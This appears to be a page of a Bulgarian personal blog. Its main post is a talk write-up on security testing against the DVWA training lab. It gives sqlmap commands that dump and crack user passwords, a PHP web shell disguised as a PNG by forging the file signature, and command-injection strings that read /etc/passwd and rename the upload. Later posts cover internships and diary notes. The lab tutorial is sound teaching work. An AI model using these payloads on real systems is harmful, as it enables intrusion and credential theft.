Page 20 of 49

Security testing – fast forward. The lecture

По-долу е лекцията, която изнесох на QA: Challenge Accepted 5.0. Различно е отсъствието на плоските шегички и малко по-подробната на места информация.

Като начало, вместо начало

Scope-а на лекцията е да демонстрира няколко добре известни атаки под формата на един общ процес. Това са:

  1. Да намерим потребителските имена и пароли в база, до която нямаме credentials;
  2. Да качим зловреден код прескачайки (добре) написана upload функционалност;
  3. Да изпълним кода и да получим съдържанието на произволен файл в системата.

Инструментариума, който ще използваме е:

Подготовка на средата:

Инсталацията на Docker и Python са като всяко друго windows next-next-finish приложение. След това идва драмата.

За да вдигнете цялата си среда, трябва в command prompt (start menu – cmd) да изтеглите docker repo-то:

https://hub.docker.com/r/vulnerables/web-dvwa/

Сега repo-то на DVWA заедно с апаче, база данни, PHP и една кофа неща са при вас. За да ги направите достъпни, трябва просто да стартирате контейнера:

docker run --rm -it -p 80:80 vulnerables/web-dvwa

1. SQL Injection

SQL Injection най-общо казано е възможност за изпълняване на нерегламентирани SQL statements като SELECT, UNION и т.н., които не са предвидени в текущата функционалност на приложението. С други думи ако параметризирате без подходяща валидация и/или санитизация някой параметър, може да има драма. Пример за драма:
GET request:

http://nedko.info/sql_injection/inj.php?drama=1

Кода, който работи отдолу:

$drama = $_GET[‘drama’];
$getDrama  = “SELECT * FROM vulnerabilities WHERE type = ‘$id’;”;

Ако въведете валидни данни всичко ще е супер, ноо (второто О е за допълнителна драма) ако счупите заявката ще стане любопитно.

Най-елементарния и емблематичен пример е Светия Апостроф. Ако набием един ‘ след параметъра ?drama=1’ ще строшим SQL заявката.

Пример в DVWA с класически SQL injection (линк към локалния DVWA – http://localhost/vulnerabilities/sqli/):

DVWA – SQL Injection, level 1

Но понеже живота на penetration tester-а (или на смъртния човек, който е решил да се занимава с това) не винаги е лесен (никога не е) и може вече някой програмист далновидно да е решил да направи валидация и да избегне този балъшки тест.

Тогава идва ред за нашето последно късче надежда или т.нар. Blind SQL Injection (или както след лекцията някой каза – Орхан Мурад SQL injection), който можете да намерите в менюто на DVWA – SQL Injection (Blind). По самото си същество това е същата уязвимост, но не получаваме веднага потвърждение от типа на бял екран или експлозия на еднорози. Но лесно можем да проверим какво става като отворим inspector-а на Chrome (естествено става и с всички други модерни браузъри, дори и с Онова, което никой не нарича браузър) и влезем в таб Network. Там ще минат всички request-и (POST/GET ни интересуват най-много, но ще видите и images, JS, CSS files и всичко от което има нужда ресурса, който сте отворили).

Сега като набиете един ‘ в полето “User ID” наблюдавайте какво ще се случи в Network Tab-а:

За да продължим към екшъна ще ни трябват и кукитата на скрипта, защото все пак, за да достигнем тази функционалност минахме през логин. Cookies можете мега лесно да намерите на същия екран, но в подтаб (има ли такава дума?) “Cookies”:

До момента използвахме само браузъра за нашите дребни шегички с администраторите. Сега е ред да използваме нещо по-могъщо – sqlmap.

Note – чудите се къде са SQL break characters, къде ви е cheatsheet-а с който можете с copy/paste да трошите сайтове? Понеже на лекцията имах само 25 минути нямаше време за това, няма да го покажа и тук (освен ако някой наистина иска да види какво става отдолу, тогава на драго сърце бих дописал статията с малко теория). За наше щастие sqlmap прави всичко за нас. Ние само трябва да му дадем параметъра, който смятаме за уязвим и cookie-тата, за да може инструмента да се “логне”. Туй то, както казваме в Добричко/Варненския край.

sqlmap – our secret weapon

За да подкарате sqlmap, трябва да имате първо Python. Инсталацията му е лесна и няма да имате грижи.

По ред на information gathering процеса ще запиша тук всичките стъпки, през които трябва да минем:

python ./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” –dbs

Резултата:

available databases [2]:
[*] dvwa
[*] information_schema

И ето, че намерихме базата, която използва DVWA. Сега ще ровим още, за да получим имената на таблиците на същата база (ако новите и старите богове нямат нищо против):

./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -D dvwa –tables

Новите параметри тук са:

  • -D dvwa – казваме, че целта на нашата задача е база с име dvwa
  • –tables – покажи всички таблици от базата дефинирана по-горе.
Database: dvwa
[2 tables]
guestbook
users

И ето, че без много зор стигнахме до таблиците на база, за която нямаме никакви credentials. И понеже чичо Недко е нагляр по природа продължаваме да видим докъде можем да стигнем:

python ./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -D dvwa -T users –columns

Новите параметри тук са:

  • -T users – целта ни е таблица с име users;
  • –columns – покажи колоните на базата (това е нещо като show columns from [users] в mySQL).
Database: dvwa
Table: users
[8 columns]
Column – Type
user – varchar(15)
avatar – varchar(70)
failed_login – int(3)
first_name – varchar(15)
last_login – timestamp
last_name – varchar(15)
password – varchar(32)
user_id – int(6)

Note – можете да видите и payload-а, който sqlmap ще направи, ако сте от любопитните.

И ето, че имаме всичката нужна информация за базата и структурата ѝ:

  • DB name – dvwa;
  • DB tables – guestbook, users;
  • DB user columns – user, avatar, failed_login, first_name, last_login, password, user_id;
  • Таблици, които са ни интересни – user и password.

Извеждане на потребители и пароли и декрпитирането им

python sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -C user,password –dump

Както забелязвате няма нужда да въвеждаме името на базата и таблицата тук, защото sqlmap си ги пази. Това значи, че ако решите да си reproduce-нете целия сценарии отново, трябва да минете през горните точки също.

И ето, че с последната команда направихме все едно един select user, password from users, взехме хешовете и направихме dictionary attack в който съпоставихме хешовете с тези в dictionary файла.
Естествено за демото паролите не бяха t@snipi4ki!, а тривиални, за да може да не използваме +10GB файлове и часове чакане, а покажем как работи sqlmap-а.

И ето, че потребителите, които имаме в базата са:

  • 1337/charley
  • admin/password
  • gordonb/abc123
  • pablo/letmein
  • smithy/password

С това нашата задача приключи. Продължаваме напред, Кобра, с:

File Upload manipulation

Малко тъпо заглавие, но друго не измислих. Идеята е, че ще направим малък трик, с който ще успеем да качим PHP файл, който ще представим за PNG и в последстиве ще преименуваме директно на сървъра с command injection, за да изпълним зловредния си код (зъл смях).

Преди време имах трудни периоди с един програмист, който пишеше upload форми като казахтстански опълченец – без никакви валидации освен разширението на файла. След десетки спорове стигнахме до консенсуса да ползваме getimagesize в PHP. Хитринката е, че освен размера на image-а функцията проверява и дали файла е от тип image или някой хитряга се опитва да върти номера. Тогава при моите си опити да кача нещо друго освен image, не увенчах успех. Но днес ще ви покажа как да прескочим и това.

Нашия зловреден код ще е убер прост:

<?php

system($_GET[‘cmd’]);

?>

Когато го качим на сървъра, ще можем да извикваме параметри през него все едно сме в конзолата:
http://localhost/hackable/uploads/hack.php?cmd=ls /

Преди това обаче свръх малко теория – подобни функции изчитат сигнатурата на файла, която е в началото му и ако срещнат съвпадащи такива с типа, за който се представя файла, го приемат за чиста монета.
До момента, в който някой не реши да смени тази сигнатура (laugh in Spanish).

За да редактираме сигнатурата на файл, ни трябва HEX редактор и PHP кода от по-горе запазен във файл с разширение PNG (в моя случай е hack.png). На по-старите кучета, които са живели във времето, в което това беше актуално, няма да обяснявам какво е, а за по-новите кучета – също. Просто си изтеглете WinHEX или който и да е друг подобен инструмент, отворете hack.png и от страницата File Signatures Table намерете PNG и го копирайте в началото на файла:

При paste изберете в диалоговия прозорец “ASCII Hex”.

И ето, че имаме handcrafted файл, който можем да си използваме да си тестваме upload формите.

Нека сега опитаме да качим файла през upload формата на DVWA:

И ето, че имаме качен успешно файла в две директории нагоре /hackable/uploads.
Ако сега го достъпим, браузъра ще се опита да отвори файла като image, но ще покаже някаква простотия. Пътя до файла е http://localhost/hackable/uploads/hack.png

Понеже сега не можем да изпълним PHP-то, идва ред на третата и последна атака, която ще направим днес:

Command Injection

Целта на тази атака е да намерим функционалност, която извиква директно команда от системата и да слепим с нея втора, която ние да си изберем. В конкретния случай ще преименуваме hack.png в hack.php.

Като цяло извикването на команда директно си е за бой, но ако извикате команда през PHP без да имате нужните валидации, сте за хвърляне зад Вала.
Както повечето атаки и тази разчита на липса на валидации за специфични кейсове. Атаката се осъществява мега лесно със знак за конкатенация. Пример за такива знаци има в кода на DVWA (ниво на трудност High):

Нашата нищожна атака ще е супер проста. Както виждате от примера по-горе на трети ред след| има интервал (демонстриращ, че човешката грешка също е важен показател). Тоест с | ще можем да слепим втора команда след валидно подадена такава (като не забравяме, че не трябва да има интервал след знака, за да не мине валицадията). Ето и пример с това как можем да видим системен файл директно от WEB чрез command injection:

localhost|cat /etc/passwd

И както виждате можем да видим съдържанието на системен файл без проблем, за това ще опитаме да преименуваме файла hack.png в hack.php и да го изпълним. Командата е:
localhost|mv ../../hackable/uploads/hack.png ../../hackable/uploads/hack.php

Не очаквайте винаги да има някакъв output от командите, които (се опитвате да) изпълнявате.

Изпълнението на зловещия план

След като създадохме файл, който специално обработихме, качихме и преименувахме, е време да го изпълним и да видим дали всичката тази играчка ще сработи. Ще се опитаме да видим съдържанието на конфигурационния файл на DVWA:

http://localhost/hackable/uploads/hack.php?cmd=cat%20/var/www/html/config/config.inc.php

След като го изпълните дайте view source (ctrl+u)

И ето, че с тези елементарни похвати успяхме да извлечем потребителските имена и пароли от базата на DVWA, да му прескочим upload формата и да изпълним произволна команда.

Линк с презентацията можете да намерите мааалко по-долу. Публикувам я as it is макар, че малко се счупи при импорта от PowerPoint към Google Slides. #Yolo (или както Исуската казва – #YOLT (you only live twice).

Заключение

На всички ни е ясно, че новите ORM frameworks например се грижат за SQL injection още на много ниско ниво, че command injections могат да се разрешат лесно с използването на почти произволен framework и правилна конфигурация, но всеки трябва да се замисли поне малко за сигурността, докато пише проложения, за да може тези, които го тестват да кимнат одобрително с глава и като го пуснат в production, да са поне една идея по-спокойни.

P.S. Ако ви е интересно мога да разпиша повече по темата с DVWA като XSS, CSRF, чупене на хешове с John the Ripper, сигурност в WordPress (скенери, атаки, как да се предпазим, а, у) и т.н.

P.S.S. Преди време говорих на WordPress meetup-а във Варна за сигурност, ако ви е интересно – има повечко системни неща, има и dictionary attack-а и подобни:

Студенти, стаж и работа

Миналата седмица изнесохме две лекции респективно в Икономически Университет и Технически Университет във Варна.

Поговорихме доста за компанията, за условията, но най-важното бяха въпросите. Ще се постарая отговорите да са универсални, защото така или иначе статията не е с рекламна цел.

 

Колко опит трябва да имам за да започна стаж?

За започването на стаж обикновено компаниите търсят студенти (или ученици), които имат интерес в сферата, но професионалния опит не е задължително изискване. Ако ви е интересно и сте правили задачки във вас или в университета и имате някакъв фундамент значи сте готови да се гмурнете в занаята.

Колко време ще съм стажант?

Обикновено стажовете продължават между 3 и 6 месеца (така е в Немечек например), като след като приключи предварително уговорения срок изборите са два:

  • Започване на Junior позиция в компанията:
    • Очакванията към вас са оправдани и двете страни са доволни. Следват промяна на възнаграджението (което трябва да е упоменато в договора ви още като започвате стажа си) и други придобивки (ваучери, втори монитор или каквото друго предлага компанията). Освен това четири други неща ще се променят:
      • Задачите ви ще станат по-отговорни и шанса да имате парче код, което ще работи при клиент е много вероятно. Вашите ментори вече няма да са с вас на всяка крачка, но ще продължат да бъдат на разположение. Тогава трябва и смяна на начина на комуникация – въпросите да са по-малко, по-структурирани и да сте се подготвили сериозно преди да ги зададете;
      • Вероятно ще имате втори изпитателен срок – това също е честа практика и отнема време. Не бъдете нетърпеливи, защото за няколко месеца/година ще влезете в бранша и оттам всичко остава във вашите ръце;
      • Бъдете самоинициативни – ако някой процес не ви хареса или имате идеи за развитие, курсове, споделяне на добри практики или каквото и да е било друго не се срамувайте, а говорете с вашия Team lead.
      • Бъдете готови да помагате на другите около вас без значение от това дали не са от 20 години в бранша или са стажанти. Бранша ни е толкова мащабен, че всеки може да даде ценна троха знания на всеки около него.
  • Прекратяване на Стажа ако една от страните не е доволна от другата:
    • Ако не се харесате с компанията в която работите и решите да я сменяте, го направете по възможно най-коректния начин. Това е първата ви компания и е важно да се разделите в добри отношения (без значение дали са били добри с вас или са били абсолютните задници). Пък и не е рядка практика HR-ките да звънят на предни фирми, в които сте работили за да разпитат;
    • Ако сте доволни от компанията, но не и от заплащането винаги можете да договорите. Съвет от мен е при преговори да се подготвите предварително с план в краткосрочна и дългосрочна перспектива. Това включва подобряване на hard skills (например ученето на нова технология) и по-трудното – работа по някой soft skill (комуникация, работа с екипа и т.н.);
    • Ако са ви пръснали от работа и това е причината да напуснете – тогава expectations management-а и на двете страни не е сработил добре. За това в началото при даването на задачите ако усетите, че има вероятност да не се справите разпитайте, прочетете повече и преговаряйте. Ще се учудите колко отворени са хората. И е нормално да не дадете супер точен estimation. Това идва с опита.

Колко време ще ми е нужно да стана Mid и Senior?

 

Всяка компания има политика за определяне на това кой в какъв seniority level e. За да придобиете представа ще дефинирам четирите основни нива:

  • Intern (стажант) – често млад и надъхан студент или ученик, но може да е човек, който сменя бранша. Обикновено има човек, който се грижи за него – ментор, който му дава задачи, оценява го как се справя и т.н. Очакванията към него са да е нахъсан и да му се учи, да се адаптира бързо към средата и да му е интересно;
  • Junior – стъпка над стажанта, вече може да се чувства, че опита му започва да става професионален. Задава си въпроси, които като стажант не е можел да си отговори ясно (например накъде да копае – frontend или backend, някоя конкретна технология или каквото се сетите). Задълженията му нарастват и вече има задачки за него, които не са тренировъчни, а реални. Трябва да можете да комуникирате ясно и стегнато и да знаете на кого да зададете въпросите си. Очаква се от вас ако имате мнение по някой въпрос касаещ кода, проекта или процесите да ги обсъдите с вашия Team Lead. Очакванията са да си задържите и засилите интереса към това, което правите и да се стремите да сте по-добри;
  • Mid – вероятно най-често срещаната позиция в бранша. Това са хора с изграден вече професионален опит, които имат добър фундамент, справят се с много голяма част от задачите, които има за правене по проекта. Те могат да виждат голямата картинка, да разбират бизнеса и да работят самостоятелно. Не е рядкост към Mid (програмист, QA, PM, изберете си сами) да закачат някой стажант или junior като човек за помощ и подкрепа, а понякога и направо като ментор. Очакванията са да са самоинициативни и самодостатъчни, да комуникират с лекота с всички членове на екипа и да знаят как работят нещата отдолу, да могат да се справят със заплетени проблеми и както обичам да казвам – да са настъпвали възможно най-много мотики за да знаят какво и къде да правят;
  • Senior – освен солидната техническа грамотност трбява да са мотивиращи и лидери (не е задължилно да са lead-ове), да могат да помагат на другите, да дърпат проектите напред и да бъдат хората, които като някой има въпрос да са там и да имат желание да помагат. Тези хора Виктор ги нарича oracles. Освен това дълбокото разбиране на проблемите и ясната позиция при решаването им са много важни. Комуникация с клиенти също е често срещано. И накрая, но не на последно място senior хората трябва да са израснали вътрешно – да са спокойни и да знаят как да приоритизират.

Както виждате за всички позиции човек трябва да е надъхан, да му е интересно и да рови. Ако нямате подходящия attitude сте обречени на вечно мънкане и бърз бърнаут.

Какво трябва да мога и какво ще науча освен техническата част?

Понеже обичам bullet points:

  • Трябва да се научите да комуникирате с хора – да сте спокойни и да задавате правилните въпроси, да можете да говорите с лекота както с програмистите, с вашия team lead и ако щете със CTO-то ви. Задаването на правилните въпроси носи удовлетворение и ефективност и в двете страни, но значи и че трябва да се научите да си структурирате въпросите правилно както и да четете предварително преди да задавате такива;
  • Научете се да … учите – в нашия свят много често се налага да навлезем много бързо в някоя непозната за нас технология и това е напълно нормално. И виждам как хора научават в движение Go или React и се справят отлично. Тайната е това, че тези хора имат стабилен фудамент на който да стъпят и разбират и методика на учене;
  • Да се стремите да виждате голямата картинка. Януари тази година бяхме с екипа в САЩ и там се срещнахме с нашия CEO и съответно имахме време да си поговорим на дълго и на широко. Още от първото изречение видях, че моя и неговия мироглед са толкова различни, че чак е стряскащо. Той гледа с няколко години напред, усеща кога идва нещо голямо и каква е голямата картинка. Аз към този момент (в аспекта на текущия ни проект) се грижих за абсолютно микроиоскопичните детайли. Такива разговори действат отрезвяващо и карат човек да се замисли за това;
  • Да се научите да вършите работата си по определен начин. Както във всеки проект текат различни процеси, които го държат стегнат и праволинеен така и вашата работа трябва да се основава на нещо подобно.  Всеки обича чистото и подредено бюро, но не всеки се замисля дали е проблем това, че работим едновременно по 6 различни задачи и имаме 145 отворени таба на браузъра.
  • Работа в екип – в идеалния случай екипът се събира като части от пъзел – лесно и безпрепятствено. Понякога обаче е все едно сте призовали 8 демона, които се бият с лопати през няколко минути. Без значение от коя страна сте работата с хората във вашия екип трябва да е първо на професиоанлно ниво и да оставите на заден план личните ангажименти. Защото ако в пъзела има една част, която не пасва тя обикновено бива изхвърлена. И е признак на зрялост желанието за подобряване на отношенията в екипа;
  • Да държите на критика. Ако сте програмист ще има цял екип от малки демони, които ще тестват вашата работа и ще логват къде адекватни, къде не проблеми, ще има колеги, които няма да харесат вашия pull request и ще пишат коментари, много коментари. И ще изглежда, че всичкие са гъзове и че не ви харесват и че изглежда, че ви казват, че за вас ще е по-добре да пасете овце/крави на село, но това не е така. Всеки в един работещ екип има една основна цел – проекта да върви напред. А за да върви напред качеството на работа на всеки един от екипа трябва да е на високо ниво. Не забравяйте, че качеството и ефективността на всеки екип е равно на този с най-малко опит;
  • Бъдете пич (пич е state of mind, а не полово определение, моля, моля!) – когато човек е пич нещата вървят по-лесно. Дребнавостта, нуждата за внимание на всяка цена и всякакви малки злободневни неща могат само да подразнят колектива.

 

И пак си бях обещал да не правя 100 страници пост и пак не ми се получи :)
Надявам се да съм бил полезен. Ако имате въпроси ги задавайте под статията в секцията за коментари.

 

P.S. Споделям с вас страхотния материал на WaitButWhy.com – How to Pick a Career (That Actually Fits You). Отделете му време, съветите са брилиантни.

Нови теми в блога

tl;dr – Понеже блога си остана едно от много малкото места в които мога да синтезирам това, което ми е интересно и знам смятам да направя редица фокусирани върху сигурността постове. Повече информация можете да прочетете в края на статията.

Списък на планираните теми, които са готови или са в процес са както следва:

  1. Студенти, стаж и работа – накрато информацията, която аз нямах като влизах в бранша, описание на стълбицата, какво трябва и какво не е нужно да умеем в началото, no deep shit. Progress – 100%;
  2. Security fundamentals – стегнато описани основните концепции, no deep shit. Progress – 10%;
  3. Основни атаки – без много blabla, списък с десетте най-разпространени атаки, какво представляват и примери как да ги приложим, инструменти, примери;
  4. Практическо ръководство – ще заорем в DVWA и примери, решения и най-вече – защо нещо работи и защо не (това ще е публикувано по време на QA: Challenge Accepted като разширена тема от лекцията ми). Кодовото име ще е “From lizard to wizard in security testing”;
  5. Как да строшим WordPress – имам вече лекция по темата в WordPress.TV, но тук ще я развием още (и ще пропуснем частта с костюма, ъ-кането и ще е по-кратка и съдържателна. Имам някаква идея да покажа това на моя блог, но ще видим дали ще има видео по темата.
  6. Правене на презентация под стрес и с лимитирано време – как се справих аз, какъв ми беше плана и 3 основни правила, които следвах за да говоря пред 800 човека без да направя прекалено големи издънки. Progress – 15%.
  7. Отговор на задачата ми за QA: Challenge Accepted 5.0.

Continue reading

Ще бъда лектор на QA: Challenge Accepted 5.0

Ииии ето, че тази година пак ще говоря на QA: Challenge Accepted.

Този формат е най-трудното нещо, което правя последните 2 години – приемам го доста насериозно и предния път ми отне немалко време и енергия да се подготвя.

Тази година темата ми ще е “Security Testing – Fast Forward” и ще продължи само 25 минути. Кандидатствах с две лекции – едната беше по-интересна и дълга (40 минути) и носеше по-епичното заглавие – “From lizard to wizard”.

И така – ще се срещнем с вас на 13 Април в София Тех Парк.

P.S. Ако на някой му е интересно нещо по темата нека пише тук и ако мога бих го включил в лекцията.

P.S. По време на лекцията ще има и малка изненада тук в блога.

04.03.2019

Преди няколко дни Виктор ми писа с молба да му вдигна 2 WordPress сайта. Оказа се, че моя VPS от $5 на месец вади страхотна скорост и това пак ме навя на мисълта за ISPConfig. Единственото нещо, което ме е спирало през годините след като вдигнах за пръв път marvin да мигрирам на ISPConfig (или някаква друга негова алтернатива) е факта, че само с кликане по Web interface няма да научавам нови неща (и да троша работещи такива).

Но днес съживих за сигурно пети път slartibartfast, качвам му един ISPConfig и ще тествам скоростта му.

Иначе новината на деня, за съжаление тъжна, е, че Кейт Флинт (The Prodigy) е отнел живота си днес.

Още по-тъжно е като видя хора, които никога не са го слушали да изливат във фейсбук тъжните си постове за счупените им сърца. За това и аз няма да подсмърчам тук.

03.03.2019

Честит празник.

Днес много знаменца видях, хора с шалове в трибагреника, а, у, но позволете ми да споделя, че за мен патриот е повече това да не си хвърляш боклука през терасата или да си биеш жената или да си хвърляш фасовете през прозореца на колата.

Те така.

Инак днес беше голяма забава – на Злати сестра ѝ дойде с децата и родителите им и се смляхме от бърборене, разршихме частично един детски кът, бягаха и дивяха и двете и със сигурност днес ще спят дълбоко.

02.03.2019

Днес е Събота. И за разлика от преди 5-6-7 години не искам да умра от главобол. Хубава разходка направихме със Златината и си взех най-накрая прилична мишка – нещо за което все се каня и все нещо излиза.
Та – запознайте се с Logitech G603 – wireless/bluetooth, гейминг мишката, която има основна сила да издържа неприличните 500 часа офис работа на 2хАА батерии.

Защо си взех мишка с АА батерии а не с вградена такава? Много просто – ако вградената батерия съврши ще имам downtime, който може да е неприятен в неправилния момент. В днешно време правят мишките употребяеми дори и като се зареждат (с USB кабел), но пак някои от тях имат лимитации. А така ако батерията свършва (Windows-а показва колко % ѝ е батерията) просто купувам още 2 и съм в играта. Минуса е изхвърлянето на еднократните батерии, но за тази цел ще взема скоро rechargeable батерии с адаптер и ще спестя и този проблем.

01.03.2019

Иии ето, че започва първия от 31-те ми блогпоста за този месец, както вече обещах.

И днес беше ден за Docker/docker-compose. Бихме се, карахме се, псувах в нас като чобанин (което никога не е карало нито един софтуер или хардуер да тръгне, но все опитвам). – не стана и не стана.
Казуса беше тривиален – трябваше да засиля 2 глобални променливи към единия контейнер в който живее един react app. И съвсем успешно го правя, но react-а изобщо не зацепи. И така след данеказвамколковреме и общ дебъгинг се установи, че React-а си има изискване за именуване на променливите. Нещо, което НЕ намерихи в документацията нито на реакт нито на докер. За тези, които се чудят – трябва да започват с REACT_APP_

И така ми замина половината ден. Но пък е интересно. Docker и контейнерите се оказаха технология с която съм в love-hate relationship. Оказа се, че изобщо не е толкова лесна материята колкото си мислих, но като започне да ти се просветлява нещата стават мега яки. Например мога да направя multi stage build, което значи, че вдигам един контейнер съдържащ целия ми dev environment с всички библиотеки, пакети и каквото му е нужно, билдвам, правя втори контейнер и там изсипвам вече готовото binary. Така контейнера ми става няколко мегабайта. Забравих да кажа, че говоря в аспекта на Go.


Иначе в личен план нещата се развиват интересно – от извесно време смених работната обстановка и вече работя от нас основно. За момента ми се отразява учудващо добре. Иначе продължавам да работя за Немечек и нямам намерение да ги сменям. Казвам това, защото последно време фейсбук ми показва засилено групата на DevBG-Jobs и гледайки на какви висоти ни са HR-ките направо ме е страх да си помисля, че може някой ден да разчитам на някаква точилка, която знае четири съкращения (JS, .NET, PHP, DB) и пише обяви на поразия. Не, че няма къдърни, но мнозинството е шлака.

Те така. Ден първи – completed. Ш’ме извинявате, че няма in other news, но днес – толкова :)